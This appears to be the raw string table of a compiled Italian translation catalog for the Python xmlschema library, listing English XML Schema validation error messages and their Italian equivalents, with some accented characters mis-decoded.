simpleContent cannot restrict an empty content type�a notation declaration must be global�a notation must have a 'name' attribute�a notation must have a 'public' or a 'system' attribute�a reference component cannot have child definitions/declarations�a simple content element can't have child elements�a {0!r} required, not {1!r}�ambiguous list type declaration�ambiguous type definition for XSD attribute�an <xs:any> child declaration is required�an attribute name must be different from 'xmlns'�an empty 'choice' group with minOccurs > 0 cannot validate any content�an empty content derivation from base type that has not empty content�an openContent with mode='none' cannot have an <xs:any> child declaration�an xs:simpleType definition expected�an xs:{0} group cannot include a reference to an xs:{1} group�another declaration after anyAttribute�attribute %r must be inheritable�attribute %r not allowed�attribute %r not found�attribute 'fixed' with use=prohibited is not allowed in XSD 1.1�attribute 'form' must be absent when 'targetNamespace' attribute is provided�attribute 'maxOccurs' not allowed in a global group�attribute 'minOccurs' not allowed in a global group�attribute 'name' must be present when 'targetNamespace' attribute is provided�attribute 'name' not allowed for a local simpleType�attribute 'name' not allowed in a local complexType�attribute 'name' not allowed in a local group�attribute 'ref' not allowed in a global %r�attribute 'ref' points to a different kind constraint�attribute {!r} is not allowed in a global element declaration�attribute {!r} is not allowed when attribute reference is used�attribute {!r} is not allowed when element reference is used�attribute {!r} not allowed in a local element declaration�attribute {0!r} has a fixed value {1!r}�attribute {0}={1!r}: {2}�attributeGroup ref={!r} is not in the redefined group�attributes 'name' and 'ref' are mutually exclusive�base %r is simple or has a simple content�base facet has a different length ({})�base facet has a greater min length ({})�base has a different content type (mixed=%r) and the extension group is not empty�base has a different content type (mixed=%r) and the extension group is not empty.�base type %r has no simple content�base type has a lesser max length ({})�base_type={!r} is not a complexType definition�boolean value {0!r} requires a {1!r} decoder�can't change attribute {!r} of a global maps instance�can't change the global maps instance of a class meta-schema�can't change the global maps instance of a schema that is the main validator of another global maps instance�can't change the {!r} attribute of a schema�can't include schema {!r}: {}�can't override schema {!r}: {}�can't redefine schema {!r}: {}�can't set the meta_schema instance of a schema�can't use an abstract XSD element for validation�can't use an abstract XSD element for validation unless it's the head of a substitution group�can't use an abstract element for validating an instance�can't verify the content model of {!r} due to exceeding of maximum recursion depth�can't {} the same schema {!r}�cannot add attributes in %r namespace�cannot decode %(obj)r data with %(decoder)r�cannot extend a complex content with xs:all�cannot extend a not empty 'all' model group with a different model�cannot extend an empty mixed content with an xs:all�cannot extend an xs:all group with mixed empty content�cannot specify both 'length' and 'maxLength'�cannot specify both 'length' and 'minLength'�cannot specify both 'maxInclusive' and 'maxExclusive'�cannot specify both 'minInclusive' and 'minExclusive'�cannot use xs:anyAtomicType as base type of a user-defined type�cannot validate against xs:NOTATION directly, only against a subtype with an enumeration facet�character data between child elements not allowed�character data is not allowed because content is empty�circular redefinition for {} {!r}�circularity found for substitution group with head element {}�circularity found for substitutionGroup %r�content type is not a restriction of base content�declared type is not derived from {!r}�default attribute {!r} is already declared in the complex type�default value {!r} is not compatible with attribute's type�defaultAttributes={0!r} doesn't match any attribute group of {1!r}�defaultOpenContent must be a child of the schema�derivation by %r blocked by attribute 'final' in base type�derived a mixed content from a base type that has element-only content�duplicate of schema {} found in namespace {!r}�duplicated attributeGroup {!r}�duplicated identity constraint %r:�duplicated simpleType declaration�duplicated value {0!r} for {1!r}�duplicated xs:ID value {!r}�element is not nillable�element {!r} is not allowed here�encoding needs at least one XSD element declaration�extended type has a mixed content but the base is element-only�facet group must have the same base type: %r�facet value can be only 'collapse'�facet value can be only 'replace' or 'collapse'�facets not allowed for a direct content derivation of xs:anySimpleType�facets not allowed for a direct derivation of xs:anySimpleType�field cardinality mismatch between {0!r} and {1!r}�fixed value {!r} is not compatible with attribute's type�fractionDigits facet can be applied only to types derived from xs:decimal�fractionDigits facet value cannot be lesser than the value of totalDigits facet�fractionDigits facet value must be 0 for types derived from xs:integer�global group not built!�global type {!r} is not built�global xs:{} with name={!r} is already built�global xs:{} with name={!r} is already defined�global xs:{} with name={!r} is already loaded�global {} {!r} not found�head element %r can't be substituted by an element that has a derivation of its type�head element %r can't be substituted by an element that has a restriction of its type�head element %r can't be substituted by an element that has an extension of its type�if the 'namespace' attribute is not present on the import statement then the imported schema must have a 'targetNamespace'�import of chameleon schema failed: {}�import of namespace {!r} failed: {}�imported schema {!r} has an unmatched namespace {!r}�in XSD 1.0 an 'all' model group cannot be nested�in a redefinition the reference to itself must be the first�invalid XPath expression for an {}�invalid attribute vc:maxVersion value�invalid attribute vc:minVersion value�invalid restriction from {!r}�invalid restriction: base value is lower ({})�invalid restriction: {}�invalid restriction: {} is also the maximum�invalid restriction: {} is also the minimum�invalid type {!r} for argument {!r}�invalid type {!r} provided: {}�invalid value {!r}�invalid value {!r} for argument {!r}�invalid value {!r} for argument {!r}: must be one of {}�key/unique identity constraint %r is missing�length has to be {!r}�local scope elements cannot have abstract attribute�maxOccurs must be 'unbounded' or greater than minOccurs�maxOccurs must be (0 | 1) for 'all' model groups�maxOccurs must be 1 for 'all' model groups�maxOccurs value must be a non negative integer or 'unbounded'�meta-schema unavailable for %r�minOccurs must be (0 | 1) for 'all' model groups�minOccurs must be lesser or equal than maxOccurs�minOccurs value is not an integer value�minOccurs value must be a non negative integer�missing 'selector' declaration�missing 'type' attribute�missing attribute 'name' in a global %r�missing attribute 'name' in a global complexType�missing attribute 'name' in a global simpleType�missing attribute 'ref' in local group�missing attribute 'test'�missing base type %r�missing base type in restriction�missing both attributes 'name' and 'ref' in local %r�missing enumeration facet in xs:NOTATION subtype�missing group %r�missing key field {0!r} for {1!r}�missing list type declaration�missing required attribute 'name'�missing required attribute 'refer'�missing required attribute {!r}�missing xs:union type declarations�more anyAttribute declarations in the same attribute group�multiple %r constraint facet�multiple ID attributes not allowed for XSD 1.0�multiple declaration for attribute {!r}�multiple declaration of attribute {!r}�multiple redefinition for {} {!r}�must have the fixed value %r�names in notQName must be in namespaces that are allowed�no XSD source provided!�no more than one attribute of type ID should be present in an element�no type suitable for encoding the object�no value is allowed for xs:error type�not a base64 encoding�not a redefinition!�not an hexadecimal number�not expressible wildcard namespace union: {0!r} V {1!r}:�one or more facets are not applicable, admitted set is {!r}�openContent mismatch between type and model group�parent circularity from {}�prefix {!r} not found in namespace map�redefined schema {!r} has a different targetNamespace�reference to a non key/unique identity constraint %r�referenced attribute has a different fixed value {!r}�registered schemas do not match namespace mapped schemas�restriction has an open content but base type has not�restriction of an xs:{0} with more than one particle with xs:{1} is forbidden�restriction or extension tag expected�restriction with 'base' attribute and simpleType declaration�schema {} does not belong to namespace {!r}�schemaLocation declaration after namespace start�selector xpath expression can only select elements�simpleType restriction of %r is not allowed�source XML document is empty�substitution of %r is blocked�target directory {} is not empty�target directory {} violation for exported path {}, {}�target parent directory {} does not exist�target parent {} is not a directory�target {} is not a directory�test attribute missing in non-final alternative�the QName {!r} is mapped to no namespace, but this requires that there is an xs:import statement in the schema without the 'namespace' attribute.�the QName {!r} is mapped to the namespace {!r}, but this namespace has not an xs:import statement in the schema.�the argument {!r} must be greater or equal than {}�the argument {!r} must be lesser or equal than {}�the attribute 'mode' of a defaultOpenContent cannot be 'none'�the attribute 'namespace' must be different from schema's 'targetNamespace'�the attribute 'ref' is required in a local attributeGroup�the attribute 'targetNamespace' cannot be an empty string�the attribute 'type' and a xs:{} local declaration are mutually exclusive�the attribute 'type' and the xs:%s local declaration are mutually exclusive�the attribute 'use' must be 'optional' if the attribute 'default' is present�the base type is not derivable by extension�the base type is not derivable by restriction�the derived group is an illegal restriction�the explicitTimezone facet value cannot be changed if the base type has the same facet with value %r�the namespace of each QName in notQName is allowed by notNamespace�the namespace {!r} is not loaded�the number of digits has to be lesser or equal than {!r}�the number of fraction digits has to be lesser or equal than {!r}�the path %r doesn't match any element of the schema!�the provided path selects nothing to validate�the redefined group is an illegal restriction�the simple content of {!r} is not a valid simple type in XSD 1.1�time zone prohibited for value {!r}�time zone required for value {!r}�too many XSD components, unexpected {0!r} found at position {1}�totalDigits facet value cannot be greater than the value of the same facet in the base type�type {0!r} is not derived from {1!r}�unable to select an element for encoding data, provide a valid 'path' argument.�unexpected instance {!r} in XSD {} global map�unexpected tag %r�unexpected tag %r after complexContent declaration�unexpected tag %r after simpleContent declaration:�unexpected tag %r for complexType content�unexpected tag %r in restriction�unexpected tag after attribute declarations�unknown attribute group {!r}�unknown attribute {!r}�unknown element %r�unknown identity constraint {!r}�unknown substitutionGroup %r�unknown type {!r}�unmapped QName in 'notQName' attribute: %s�unmapped prefix %r in a QName�usage of %r is blocked�usage of {0!r} with type {1} is blocked by head element�use of attribute %r is prohibited�validation mode can be 'strict', 'lax' or 'skip': %r�validation mode is 'strict' and %r is not built�validation mode must be a string�value contains non collapsed white spaces�value contains tabs or newlines�value doesn't match any pattern of {!r}�value has to be greater or equal than {!r}�value has to be greater than {!r}�value has to be less than or equal than {!r}�value has to be lesser than {!r}�value is not a valid xs:decimal�value is not an instance of {!r}�value is not an xs:QName�value is not true with test path {!r}�value length cannot be greater than {!r}�value length cannot be lesser than {!r}�value must be negative�value must be non negative�value must be non positive�value must be one of {!r}�value must be positive�value must be {:s}�value of 'mixed' attribute in complexType and complexContent must be the same�value {!r} must match a notation declaration�when a complexType with simpleContent restricts a complexType with mixed and with emptiable content then a simpleType child declaration is required�when extend an xs:all group minOccurs must be the same�with simpleContent cannot restrict an element-only content type�wrong QName format in 'notQName' attribute: %s�wrong base type %r, an atomic type required�wrong base type %r: a simpleType or a complexType with simple or mixed content required�wrong content type {!r}�wrong definition with self-reference�wrong redefinition without self-reference�wrong tag {!r} for an XSD global definition/declaration�wrong type {!r} for locations argument�wrong value %r for 'mode' attribute�wrong value %r for 'processContents' attribute�wrong value %r for attribute %r�wrong value %r for facet xs:whiteSpace�wrong value %r in 'namespace' attribute�wrong value %r in 'notNamespace' attribute�wrong value for 'notQName' attribute�wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | {1}).�xs:ID key attributes cannot have a default value�xs:ID key attributes cannot have a fixed value�xs:ID or a type derived from xs:ID cannot have a default value�xs:ID or a type derived from xs:ID cannot have a fixed value�xs:all cannot extend a not empty xs:%s�xs:sequence cannot extend xs:all�xsi:nil attribute must have a boolean value�xsi:nil='true' but the element has a fixed value�xsi:nil='true' but the element is not empty�{!r} does not match any declared element of the model group�{!r} is expected to have a redefined/overridden component�{!r} is not a boolean value�{!r} is not a particle of the model group�{!r} is not a valid loglevel�{!r} is not a valid value for xs:QName�{!r} is not an element of the schema�{0!r} and {1!r} overlap and are in the same {2!r} group�{0!r} cannot substitute {1!r}�{0!r} derivation not allowed for {1!r}�{0!r} facet value is fixed to {1!r}�{0!r} is not a restriction of the base type {1!r}�{0!r} is not an extension of the base type {1!r}�{0!r} is not an instance of {1!r}�{0!r} that matches {1!r} is not consistent with local declaration {2!r}�{0!r} type is not of the same or a derivation of the head element {1!r} type�{0} has an unknown prefix {1!r}�Project-Id-Version: xmlschema Report-Msgid-Bugs-To: PO-Revision-Date: 2022-05-09 16:08+0200 Last-Translator: Davide Brunato <brunato@sissa.it> Language-Team: Italian Language: it MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); � Previsto tag %r.� Previsto tag %s.� Previsto tag (%s).�l'attributo %r non è consentito per l'elemento�il campo %r non ha un tipo semplice!�il campo %r seleziona piĂ¹ valori!�%r è astratto�%r non è un attributo dello spazio dei nomi XSI�%r non è costruito�%r: una lista deve essere basata su tipi di dati atomici�un modello 'all' puĂ² apparire solo al 1° livello di un gruppo di modelli�un modello 'all' puĂ² contenere solo elementi�attributo 'base' richiesto�l'argomento 'converter' deve essere una sottoclasse o un'istanza di {0!r}: {1!r}�gli attributi 'default' e 'fixed' sono mutuamente esclusivi�il valore di default {!r} non è compatibile con il tipo dell'elemento�il valore 'final' del baseType %r vieta la derivazione per restrizione�il valore 'final' di itemType %r impedisce la derivazione da lista�il valore 'final' dei memberTypes %r impedisce la derivazione per unione�il valore di fisso {!r} non è compatibile con il tipo dell'elemento�l'argomento 'global_maps' deve essere un'istanza %r�il valore di 'length' deve essere un numero intero non negativo�'maxLength' ha un valore maggiore del genitore�'maxLength' ha un valore inferiore rispetto a 'minLength' del genitore�il valore di 'maxLength' è minore di 'minLength'�il valore 'maxLength' deve essere un numero intero non negativo�il valore di 'maxLength' deve essere maggiore o uguale a 'length'�'minExclusive' deve essere minore o uguale a 'maxExclusive'�'minExclusive' deve essere inferiore a 'maxInclusive'�'minInclusive' deve essere minore o uguale a 'maxInclusive'�'minInclusive' deve essere inferiore a 'maxExclusive'�'minLength' ha un valore maggiore di 'maxLength' del genitore�'minLength' ha un valore minore del genitore�il valore di 'minLength' deve essere un numero intero non negativo�il valore di 'minLength' deve essere minore o uguale a 'length'�l'attributo 'mixed' non è ammesso se il contenuto è simpleContent�l'argomento 'model' deve essere (sequence | choice | all)�attributo 'name' in una definizione simpleType locale�gli attributi 'namespace' e 'notNamespace' sono mutuamente esclusivi�l'attributo 'xpath' è obbligatorio�(attribute | attributeGroup) previsto, trovato {!r}.�previsto (restriction | list | union)�Il tipo dell'attributo non è una restrizione del tipo dell'attributo di base�La wildcard attributo non è una restrizione della wildcard di base�Attributo {!r}: modifica della proprietĂ  'inheritable' nella restrizione�Attributo {!r}: l'attributo derivato ha un valore fisso diverso�Attributo {!r}: la ridefinizione rimuove il vincolo fixed�Attributo {!r}: utilizzo di attributi non corrispondenti nella ridefinizione�Attributo {!r}: attributo 'use' non corrispondente nella restrizione�Non è possibile cancellare l'attributo {}�Non è possibile assegnare l'attributo {}�Gruppi di attributi circolari non consentiti in XSD 1.0�Rilevata definizione circolare per il gruppo %r�Rilevata definizione circolare per xs:{} {!r}.�violazione della consistenza della dichiarazione degli elementi tra {0!r} e {1!r}: corrispondenza del nome ma con tipi diversi�IDREF %r non trovato nel documento XML�Importazione dello spazio dei nomi {!r} da {!r} fallita: {}.�Inclusione dello schema non riuscita: {}�Forse una tabella di tipo non equivalente tra gli elementi {0!r} e {1!r}�Forse una tabella di tipo non equivalente tra gli elementi {0!r} e {1!r}.�Attributo obbligatorio {!r} mancante nella restrizione di ridefinizione�Sovrascrittura dello schema non riuscita: {}�Ridefinizione dello schema non riuscita: {}�il riferimento al gruppo ridefinito non puĂ² avere minOccurs/maxOccurs diverso da 1�il riferimento al gruppo ridefinito non puĂ² avere minOccurs/maxOccurs diverso da 1�La restrizione di ridefinizione contiene un attributo aggiuntivo {!r}�Il contenuto dell'elemento %r non è completo.�Attributo imprevisto {!r} in restrizione�Figlio imprevisto con tag %r alla posizione %d.�violazione dell'attribuzione di particelle univoche tra {0!r} e {1!r}�Ordine degli attributi errato nella restrizione di ridefinizione�profonditĂ  dei dati XML superata (MAX_XML_DEPTH=%r)�XSD 1.0 non permette l'estensione di un gruppo modello 'all' non vuoto�il tipo di un attributo XSD deve essere un simpleType�XSD_VERSION deve essere '1.0' o '1.1'�è richiesto un antenato complexType: {!r}�una dichiarazione contenuta in un complexType globale deve avere lo stesso namespace del suo schema genitore�una dichiarazione defaultOpenContent non puĂ² essere vuota�un %r globale deve avere lo stesso namespace del suo schema genitore�un simpleContent non vuoto non puĂ² essere restrizione di un tipo di contenuto vuoto�una dichiarazione notation dev'essere globale�una notation deve avere l'attributo 'name'�una notation deve avere un attributo 'public' o 'system'�un componente riferimento non puĂ² avere definizioni/dichiarazioni figlie�un elemento con contenuto semplice non puĂ² avere elementi figlio�un {0!r} richiesto, non {1!r}�dichiarazione ambigua di tipo lista�definizione di tipo ambigua per l'attributo XSD�è richiesta una dichiarazione figlio <xs:any>�un nome di attributo deve essere diverso da 'xmlns'�un gruppo 'choice' vuoto con minOccurs > 0 non puĂ² convalidare alcun contenuto�derivazione di un contenuto vuoto da un tipo base con contenuto non vuoto�un openContent con mode='none' non puĂ² avere una dichiarazione figlio <xs:any>�è prevista una definizione di xs:simpleType�un gruppo xs:{0} non puĂ² includere un riferimento a un gruppo xs:{1}�un'altra dichiarazione dopo anyAttribute�l'attributo %r dev'essere ereditabile�attributo %r non consentito�attributo %r non trovato�l'attributo 'fixed' con use=prohibited non è consentito in XSD 1.1�l'attributo 'form' deve essere assente quando viene fornito l'attributo 'targetNamespace'�l'attributo 'maxOccurs' non è consentito in un gruppo globale�l'attributo 'minOccurs' non è consentito in un gruppo globale�l'attributo 'name' deve essere presente quando viene fornito l'attributo 'targetNamespace'�l'attributo 'name' non è consentito per un simpleType locale�attributo 'name' non ammesso in tipo complesso locale�l'attributo 'nome' non è consentito in un gruppo locale�l'attributo 'ref' non è ammesso in un %r globale�l'attributo 'ref' punta a un vincolo di tipo diverso�l'attributo {!r} non è ammesso in una dichiarazione di elemento globale�l'attributo {!r} non è consentito quando si utilizza un riferimento ad attributo�l'attributo {!r} non è ammesso quando si una un riferimento ad elemento�l'attributo {!r} non è ammesso in una dichiarazione di elemento locale�l'attributo {0!r} ha un valore fisso {1!r}�attributo {0}={1!r}: {2}�attributeGroup ref={!r} non è nel gruppo ridefinito�gli attributi 'name' e 'ref' sono mutuamente esclusivi�la base %r è semplice o ha contenuto semplice�la facet di base ha una lunghezza diversa ({})�la facet di base ha una lunghezza minima maggiore ({})�la base ha un diverso tipo di contenuto (mixed=%r) e il gruppo di estensione non è vuoto�la base ha un diverso tipo di contenuto (mixed=%r) e il gruppo di estensione non è vuoto�il tipo base %r non ha contenuto semplice�il tipo di base ha una lunghezza massima inferiore ({})�base_type={!r} non è una definizione complexType�il valore booleano {0!r} richiede un decodificatore {1!r}�non è possibile modificare l'attributo {!r} delle mappe globali di un meta-schema�non è possibile modificare l'istanza delle mappe globali di un meta-schema�non è possibile modificare l'istanza delle mappe globali di uno schema che èil validatore principale di un altra istanza di mappe globali�non è possibile cambiare l'attributo {!r} di una schema�impossibile includere lo schema {!r}: {}�impossibile sovrascrivere lo schema {!r}: {}�impossibile ridefinire lo schema {!r}: {}�non è possibile modificare il meta_schema di uno schema�non è possibile utilizzare un elemento astratto per la convalida�non è possibile utilizzare un elemento astratto per la convalida a meno che non sia la l'elemento di testa di un gruppo di sostituzione�non è possibile utilizzare un elemento astratto per la convalida�impossibile verificare il modello di contenuto di {!r} a causa del superamento della profonditĂ  massima di ricorsione�non è possibile {} lo stesso schema {!r}�impossibile aggiungere attributi nello spazio dei nomi %r�non posso decodificare i dati di %(obj)r con %(decoder)r�non si puĂ² estendere un contenuto complesso con xs:all�non si puĂ² estendere un gruppo 'all' non vuoto con un modello diverso�non si puĂ² estendere un contenuto misto vuoto con xs:all�non si puĂ² estendere un gruppo xs:all con un contenuto misto vuoto�non si puĂ² specificare sia 'length' che 'maxLength'�non si puĂ² specificare sia 'length' che 'minLength'�non è possibile specificare sia 'maxInclusive' che 'maxExclusive'�non è possibile specificare sia 'minInclusive' che 'minExclusive'�non si puĂ² usare xs:anyAtomicType come tipo base di un tipo definito dall'utente�non si puĂ² convalidare direttamente con xs:NOTATION, solo con un sottotipo con facet di enumerazione�caratteri tra elementi figlio non consentiti�i caratteri non sono consentiti perchĂ© il contenuto è vuoto�ridefinizione circolare per {} {!r}�circolaritĂ  trovata per il gruppo di sostituzione con elemento di testa {}�trovata circolaritĂ  per il gruppo di sostituzione %r�il tipo di contenuto non è una restrizione di quello di base�il tipo dichiarato non è derivato da {!r}�l'attributo di default {!r} è giĂ  dichiarato nel tipo complesso�il valore di default {!r} non è compatibile con il tipo dell'attributo�defaultAttributes={0!r} non corrisponde a nessun gruppo di attributi di {1!r}�defaultOpenContent deve essere un figlio dello schema�derivazione per %r bloccata de attributo 'final' nel tipo base�derivazione di contenuto misto da un tipo base con contenuto element-only�duplicato dello schema {} trovato nello spazio dei nomi {!r}�attributeGroup {!r} duplicato�vincolo di identitĂ  %r duplicato�dichiarazione simpleType duplicata�valore duplicato {0!r} per {1!r}�valore xs:ID {!r} duplicato�l'elemento non è annullabile�l'elemento {!r} non è consentito qui�la codifica richiede almeno una dichiarazione di elemento XSD�il tipo esteso ha un contenuto misto ma la base è element-only�il gruppo di vincoli facet deve avere lo stesso tipo di base: %r�il valore della facet puĂ² essere solo 'collapse'�il valore della facet puĂ² essere solo 'replace' o 'collapse'�facet non consentite per una derivazione diretta del contenuto di xs:anySimpleType�facet non consentite per una derivazione diretta di xs:anySimpleType�mancata corrispondenza della cardinalitĂ  del campo tra {0!r} e {1!r}�il valore fisso {!r} non è compatibile con il tipo dell'attributo�la facet fractionDigits puĂ² essere applicata solo ai tipi derivati da xs:decimal�il valore della facet fractionDigits non puĂ² essere inferiore al valore della facet totalDigits�il valore della facet fractionDigits dev'essere 0 per i tipi derivati da xs:integer�gruppo globale non costruito!�il tipo globale {!r} non è costruito�xs:{} globale con nome={!r} è giĂ  costruito�xs:{} globale con nome={!r} è giĂ  definito�xs:{} globale con nome={!r} è giĂ  caricato�{} globale {!r} non trovato�l'elemento di testa %r non puĂ² essere sostituito da un elemento che ha una derivazione del suo tipo�l'elemento di testa %r non puĂ² essere sostituito da un elemento che ha una restrizione del suo tipo�l'elemento di testa %r non puĂ² essere sostituito da un elemento che ha una estensione del suo tipo�se l'attributo 'namespace' non è presente nell'istruzione import, lo schema importato deve avere un 'targetNamespace'�importazione dello schema camaleonte fallita: {}�importazione dello spazio dei nomi {!r} non riuscita: {}�lo schema importato {!r} ha uno spazio dei nomi non corrispondente {!r}�in XSD 1.0 un gruppo di modelli 'all' non puĂ² essere nidificato�in una ridefinizione il riferimento a se stesso deve essere il primo�espressione XPath non valida per un {}�valore non valido per l'attributo vc:maxVersion�valore non valido per l'attributo vc:minVersion�restrizione non valida da {!r}�restrizione non valida: il valore di base è inferiore ({})�restrizione non valida: {}�restrizione non valida: {} è anche il massimo�restrizione non valida: {} è anche il minimo�tipo {!r} non valido per l'argomento {!r}�tipo non valido {!r} fornito: {}�valore non valido {!r}�valore {!r} non valide per l'argomento {!r}�valore non valido {!r} per l'argomento {!r}: must be one of {}�vincolo di identitĂ  chiave/univoco %r mancante�la lunghezza deve essere {!r}�gli elementi locali non possono avere l'attributo 'abstract'�maxOccurs dev'essere 'unbounded' o maggiore di minOccurs�maxOccurs deve essere (0 | 1) per i gruppi con modello 'all'�maxOccurs deve essere 1 per i gruppi modello 'all'�il valore di maxOccurs dev'essere un intero non negativo o 'unbounded'�meta-schema non disponibile per %r�minOccurs deve essere (0 | 1) per i gruppi modello 'all'�minOccurs dev'essere inferiore o uguale a maxOccurs�il valore di minOccurs non è un valore intero�il valore di minOccurs dev'essere un intero non negativo�dichiarazione 'selector' mancante�attributo 'type' mancante�attributo 'name' mancante in %r globale�attributo 'name' mancante in tipo complesso globale�attributo 'name' mancante in un simpleType globale�attributo mancante 'ref' in gruppo locale�attributo mancante 'test'�tipo base %r mancante�tipo di base mancante nella restrizione�attributi 'name' e 'ref' entrambi mancanti in %r locale�facet di enumerazione mancante nel sottotipo di xs:NOTATION�gruppo mancante %r�campo chiave {0!r} mancante per {1!r}�dichiarazione di tipo lista mancante�attributo obbligatorio 'name' mancante�attributo obbligatorio 'refer' mancante�attributo richiesto {!r} mancante�dichiarazioni del tipo xs:union mancanti�piĂ¹ dichiarazioni anyAttribute nello stesso gruppo di attributi�piĂ¹ vincoli facet %r�attributi ID multipli non consentiti per XSD 1.0�dichiarazione multipla per l'attributo {!r}�dichiarazione multipla dell'attributo {!r}�ridefinizione multipla per {} {!r}�deve avere il valore fisso %r�i nomi in notQName devono trovarsi negli spazi dei nomi consentiti�nessun sorgente XSD fornito!�non deve essere presente piĂ¹ di un attributo di tipo ID in un elemento�nessun tipo adatto per codificare l'oggetto�nessun valore è ammesso per il tipo xs:error�non è una codifica base64�non è una ridefinizione!�non è un numero esadecimale�unione di spazi dei nomi di wildcard non esprimibile: {0!r} V {1!r}:�una o piĂ¹ facet non sono applicabili, l'insieme ammesso è {!r}�openContent non corrispondente tra il tipo e il modello di gruppo�circolaritĂ  del genitore da {}�prefisso {!r} non trovato nella mappa degli spazi dei nomi�lo schema ridefinito {!r} ha un targetNamespace diverso�riferimento a vincolo di identitĂ  non chiave/univoco %r�l'attributo riferito ha un valore fisso diverso {!r}�gli schemi registrati non corrispondono agli schemi mappati sugli spazi dei nomi�la restrizione ha un contenuto aperto ma il tipo di base no�la restrizione di un xs:{0} avente piĂ¹ di una particella con xs:{1} è proibita�previsto tag di restrizione o estensione�restrizione con attributo 'base' e dichiarazione simpleType�lo schema {} non appartiene allo spazio de nomi {!r}�dichiarazione schemaLocation dopo l'inizio dello spazio dei nomi�l'espressione xpath di un selector puĂ² selezionare solo elementi�la restrizione simpleType di %r non è consentita�il document XML sorgente è vuoto�la sostituzione di %r è bloccata�la directory target {} non è vuota�violazione della directory target {} per il path esportato {}, {}�la directory {} parent del target non esiste�la directory {} parent del target non è una directory�il target {} non è una directory�attributo test mancante in alternativa non finale�il QName {!r} non è mappato su alcuno spazio dei nomi, ma ciĂ² richiede che sia presente un'istruzione xs:import nello schema senza l'attributo 'namespace'.�il QName {0!r} è mappato allo spazio dei nomi {1!r}, ma questo spazio dei nomi non ha un'istruzione xs:import nello schema.�il valore dell'argomento {!r} dev'essere maggiore o uguale a {}�il numero di cifre deve essere minore o uguale a {!r}�l'attributo 'mode' di un defaultOpenContent non puĂ² essere 'none'�l'attributo 'namespace' deve essere diverso dal 'targetNamespace' dello schema�l'attributo 'ref' è richiesto in un attributeGroup locale�l'attributo 'targetNamespace' non puĂ² essere una stringa vuota�l'attributo 'type' e una dichiarazione xs:{} locale sono mutuamente esclusivi�l'attributo 'type' e la dichiarazione locale xs:%s si escludono a vicenda�l'attributo 'use' deve essere 'optional' se è presente l'attributo 'default'�il tipo base non è derivabile per estensione�il tipo base non è derivabile per restrizione�il gruppo derivato è una restrizione illegale�il valore del facet explicitTimezone non puĂ² essere modificato se il tipo di base ha lo stesso facet con valore %r�lo spazio dei nomi di ogni QName in notQName è consentito da notNamespace�lo spazio dei nomi {!r} non è caricato�il numero di cifre deve essere minore o uguale a {!r}�il numero di cifre della frazione dev'essere minore o uguale a {!r}�il path %r non corrisponde a nessun elemento dello schema!�il path fornito non seleziona nulla�il gruppo ridefinito è una restrizione illegale�il contenuto semplice di {!r} non è un tipo semplice valido in XSD 1.1�fuso orario vietato per il valore {!r}�fuso orario richiesto per il valore {!r}�troppi componenti XSD, trovato un {0!r} inatteso alla posizione {1}�il valore della facet totalDigits non puĂ² essere maggiore del valore della stessa facet nel tipo di base�il tipo {0!r} non è derivato da {1!r}�impossibile selezionare un elemento per la decodifica dei dati, fornire un argomento 'path' valido.�istanza imprevista {!r} nella mappa XSD {} globale�tag %r inatteso�tag %r non previsto dopo dichiarazione complexContent�tag %r non previsto dopo dichiarazione simpleContent�tag %r non previsto per un contenuto di complexType�il tag %r non è previsto in una restrizione�tag imprevisto dopo le dichiarazioni di attributo�gruppo di attributi sconosciuto {!r}�attributo sconosciuto {!r}�elemento %r sconosciuto�vincolo di identitĂ  sconosciuto {!r}�gruppo di sostituzione %r sconosciuto�tipo {!r} sconosciuto�QName non mappato nell'attributo 'notQName': %s�prefisso %r non mappato in un QName�l'utilizzo di %r è bloccato�l'utilizzo di {0!r} con tipo {1} è bloccato dall'elemento di testa�l'uso dell'attributo %r è vietato�il modo di validazione puĂ² essere 'strict', 'lax' o 'skip': %r�il modo di validazione è 'strict' e %r non costruito�il validation mode dev'essere una stringa�il valore contiene spazi bianchi non compressi�il valore contiene tabulazioni o nuove righe�il valore non corrisponde a nessun pattern di {!r}�il valore deve essere maggiore o uguale a {!r}�il valore deve essere maggiore di {!r}�il valore deve essere minore o uguale a {!r}�il valore deve essere inferiore a {!r}�il valore non è un xs:decimal valido�il valore non è un'istanza di {!r}�il valore non è un xs:QName�il valore non è vero con il test path {!r}�la lunghezza del valore non puĂ² essere maggiore di {!r}�la lunghezza del valore non puĂ² essere inferiore a {!r}�il valore dev'essere negativo�il valore dev'essere non negativo�il valore dev'essere non positivo�il valore deve essere uno di {!r}�il valore dev'essere positivo�il valore dev'essere {:s}�il valore dell'attributo 'mixed' di un complexType e del suo complexContent dev'essere uguale�il valore {!r} deve corrispondere a una dichiarazione di notazione�è richiesta una dichiarazione figlio simpleType quando un complexType con simpleContent restringe un complexType con contenuto misto e svuotabile�quando si estende un gruppo xs:all il valore di minOccurs dev'essere lo stesso�con un simpleContent non si puĂ² restringere un tipo di contenuto element-only�formato QName errato nell'attributo 'notQName': %s�tipo di base %r errato, è richiesto un tipo atomico�tipo base %r errato: è richiesto un simpleType o un complexType concontenuto semplice o misto�tipo di contenuto sbagliato {!r}�definizione errata con autoreferenzialitĂ �ridefinizione errata senza autoreferenzialitĂ �tag errato {!r} per una dichiarazione/definizione globale XSD�l'argomento locations è di tipo errato {!r}�valore errato %r per l'attributo 'mode'�valore errato %r per l'attributo 'processContents'�il valore %r per l'attributo %r è sbagliato�valore errato %r per il facet xs:whiteSpace'�valore errato %r nell'attributo 'namespace'�valore errato %r nell'attributo 'notNamespace'�valore errato per l'attributo 'notQName'�valore errato {0!r} per l'attributo 'xpathDefaultNamespace', puĂ² essere (anyURI | {1}).�gli attributi chiave xs:ID non possono avere un valore predefinito�gli attributi chiave xs:ID non possono avere un valore fisso�xs:ID o un tipo derivato da xs:ID non possono avere un valore di default�xs:ID o un tipo derivato da xs:ID non possono avere un valore fisso�xs:all non puĂ² estendere un xs:%s non vuoto�xs:sequence non puĂ² estendere xs:all�l'attributo xsi:nil deve avere un valore booleano�xsi:nil='true' ma l'elemento ha un valore fisso�xsi:nil='true' ma l'elemento non è vuoto�{!r} non corrisponde a nessun elemento dichiarato del gruppo di modelli�è previsto che {!r} abbia almeno un componente ridefinito/sostituito�{!r} non è un valore booleano�{!r} non è una particella del gruppo di modelli�{!r} non è un loglevel valido�{!r} non è un valore valido per xs:QName�{!r} non è un elemento dello schema�{0!r} e {1!r} si sovrappongono e sono nello stesso gruppo 